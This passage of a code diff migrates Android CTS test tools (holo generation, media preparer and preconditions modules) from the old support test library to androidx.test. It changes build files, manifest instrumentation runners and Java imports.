+LOCAL_STATIC_JAVA_LIBRARIES := androidx.test.rules
LOCAL_JAVA_LIBRARIES := android.test.runner.stubs android.test.base.stubs
diff --git a/tools/cts-holo-generation/AndroidManifest.xml b/tools/cts-holo-generation/AndroidManifest.xml
index ad4ae22..41fab00 100644
--- a/tools/cts-holo-generation/AndroidManifest.xml
+++ b/tools/cts-holo-generation/AndroidManifest.xml
@@ -7,7 +7,7 @@
<uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE" />
<instrumentation
- android:name="android.support.test.runner.AndroidJUnitRunner"
+ android:name="androidx.test.runner.AndroidJUnitRunner"
android:targetPackage="com.android.cts.holo_capture" />
<application>
diff --git a/tools/cts-media-preparer-app/Android.mk b/tools/cts-media-preparer-app/Android.mk
index 9d44f8c..c2d5731 100644
--- a/tools/cts-media-preparer-app/Android.mk
+++ b/tools/cts-media-preparer-app/Android.mk
@@ -27,7 +27,7 @@
LOCAL_SRC_FILES := $(call all-java-files-under, src)
-LOCAL_STATIC_JAVA_LIBRARIES := android-support-test compatibility-device-util
+LOCAL_STATIC_JAVA_LIBRARIES := androidx.test.rules compatibility-device-util-axt
# tag this module as a cts test artifact
LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
diff --git a/tools/cts-media-preparer-app/AndroidManifest.xml b/tools/cts-media-preparer-app/AndroidManifest.xml
index da8d3d2..15afba4 100644
--- a/tools/cts-media-preparer-app/AndroidManifest.xml
+++ b/tools/cts-media-preparer-app/AndroidManifest.xml
@@ -23,7 +23,7 @@
<uses-library android:name="android.test.runner" />
</application>
- <instrumentation android:name="android.support.test.runner.AndroidJUnitRunner"
+ <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
android:targetPackage="android.mediastress.cts.preconditions.app"
android:label="Device-side CTS mediastress preparation" />
</manifest>
diff --git a/tools/cts-media-preparer-app/src/android/mediastress/cts/preconditions/app/MediaPreparerAppTest.java b/tools/cts-media-preparer-app/src/android/mediastress/cts/preconditions/app/MediaPreparerAppTest.java
index 1b55196..0f4fd69 100644
--- a/tools/cts-media-preparer-app/src/android/mediastress/cts/preconditions/app/MediaPreparerAppTest.java
+++ b/tools/cts-media-preparer-app/src/android/mediastress/cts/preconditions/app/MediaPreparerAppTest.java
@@ -15,13 +15,14 @@
*/
package android.mediastress.cts.preconditions.app;
-import com.android.compatibility.common.util.DynamicConfigDeviceSide;
-import com.android.compatibility.common.util.MediaUtils;
-
import android.app.Instrumentation;
import android.media.MediaFormat;
import android.os.Bundle;
-import android.support.test.InstrumentationRegistry;
+
+import androidx.test.InstrumentationRegistry;
+
+import com.android.compatibility.common.util.DynamicConfigDeviceSide;
+import com.android.compatibility.common.util.MediaUtils;
import org.junit.Test;
import org.junit.runner.RunWith;
diff --git a/tools/cts-preconditions/Android.mk b/tools/cts-preconditions/Android.mk
index 888eadc..9c64e76 100644
--- a/tools/cts-preconditions/Android.mk
+++ b/tools/cts-preconditions/Android.mk
@@ -26,7 +26,7 @@
LOCAL_PROGUARD_ENABLED := disabled
LOCAL_STATIC_JAVA_LIBRARIES := \
- android-support-test \
+ androidx.test.rules \
compatibility-device-preconditions
LOCAL_JAVA_LIBRARIES := android.test.base.stubs
diff --git a/tools/cts-preconditions/AndroidManifest.xml b/tools/cts-preconditions/AndroidManifest.xml
index a8eb827..984ef6a 100644
--- a/tools/cts-preconditions/AndroidManifest.xml
+++ b/tools/cts-preconditions/AndroidManifest.xml
@@ -24,7 +24,7 @@
<!-- self-instrumenting test package. -->
<instrumentation
- android:name="android.support.test.runner.AndroidJUnitRunner"
+ android:name="androidx.test.runner.AndroidJUnitRunner"
android:label="CTS preconditions test"
android:targetPackage="com.android.preconditions.cts" >
</instrumentation>